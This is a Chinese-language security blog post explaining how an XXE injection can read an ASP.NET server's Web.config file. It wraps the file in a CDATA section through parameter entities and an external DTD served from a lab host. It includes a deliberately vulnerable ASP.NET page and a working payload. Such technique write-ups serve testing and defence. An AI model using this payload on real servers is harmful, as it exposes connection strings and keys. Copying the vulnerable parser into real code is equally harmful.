[Web Security] ASP.NET 下利用 XXE 讀取 Web.config

XXE (XML External Entity Injection) 是個對 Server 端很強力的攻擊手法,可以進而實現 Server-Side Request Forgery、Arbitrary File Read 的利用。雖然可以利用 XXE 讀取一些較簡單的私密的 config、key 檔案,但若想讀取內含 XML 使用的特殊字元 (例如: >, <) 的檔案,就會產生一些問題。今天分享其中一個如何利用 XXE 讀取 Web.config 的小技巧。

在 ASP.NET 的環境下,Web.config 是用來控制針對 ASP.NET Application 設定的重要檔案,內容通常都含有極為重要的資訊,比如可能會存放對資料庫的 Connection String、傳輸時加解密所使用的 Key,而 Web.config 內容是採用 XML 的格式。

接下來的測試都會使用下面一個簡單的 Web.config:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <appSettings/>
    <connectionStrings/>
    <system.web>
    <compilation debug="true"/>
        <customErrors mode="Off" />
        <pages validateRequest="false" />
        <httpRuntime requestValidationMode="2.0" />
    </system.web>
    <!-- I am comment -->
</configuration>

從上面可以看出,Web.config 就是一個標準的 XML 格式,若想使用一般的 XXE Payload 去讀取就可能產生問題,會得不到預期的結果。

接下來的測試環境都會使用下面一個簡單、粗糙的 ASP.NET 程式進行測試。

<%@ Page Language="C#"%>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Xml" %>
<%
    XmlDocument doc = new XmlDocument();
    String data = Request.Params["data"];
    doc.LoadXml(data);
    XmlNode node = doc.SelectSingleNode("/root/name");
    Response.Write(node.InnerText);
%>

這個程式很單純地將傳入的 data 參數內容丟入 XmlDocument 作解析,再將 <root /> 元素下的 <name /> 的文字資料吐出來,未禁止 External Entity。

首先嘗試利用 External Entity 讀取 C:\Windows\win.ini,因為是簡單的文字檔案,很順利地讀取成功。
asp_xxe_01

接著嘗試讀取 C:\inetpub\wwwroot\Web.config,看起來能正常讀取,但卻沒有內容。
asp_xxe_02

原因出在輸出 <name /> 的內容時是使用 node.InnerText,即使我們成功引入 Web.config,但資訊都是放置在各個 Element 的 Attributes 中,而 InnerText 僅會輸出文字資料,並不包含 Element 本身的 Tag name 和 Attributes。

此時就可以利用 XML 中的 CDATA Section 將 Web.config 完整地讀取出來。在 CDATA Section 中,XML 解析器不會嘗試將 <> 等字元作解析,會當作純粹的文字資料。

試著在 CDATA 中嵌入 <> 字元,可以看到 <foo>bar</foo> 被完整地輸出了。
asp_xxe_03

但若想直接在 CDATA Section 內引用 Entity 是不行的,因為不會解析。
asp_xxe_04

所以需要利用 Parameter Entity 將資料與 CDATA Section 的頭尾拼接放入另一個 Entity,再引入該 Entity 才能夠順利輸出。

data 參數輸入:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % file PUBLIC "data" "file://C:\inetpub\wwwroot\Web.config">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://192.168.56.1/external.dtd">
    %dtd;
]><root><name>&all;</name></root>

要引入的 http://192.168.56.1/external.dtd:

<!ENTITY all "%start;%file;%end;">

上述 Payload 發生的事情是 %dtd; 會先嘗試引入 external.dtd 文件,在 external.dtd 文件中分別又會引入 Parameter Entity %start;%file;%end; 去構造出 all Entity 的值,最後在原本的 XML 裡面 &all; 就能引用到由 CDATA Section 包夾起來的 Web.config 的純文字資料。

成功讀取到完整的 Web.config,連同註解的內容都能看得到。
asp_xxe_05

針對 XXE 的利用技巧還有許多種,本篇分享的是我個人認為還算挺有趣的一個技巧,有興趣想了解更多的人可以參考下方 References 的連結。

References:

Cyku

A.k.a. cy. A web dog. Interested in web security. cyku@cyku.tw

Taiwan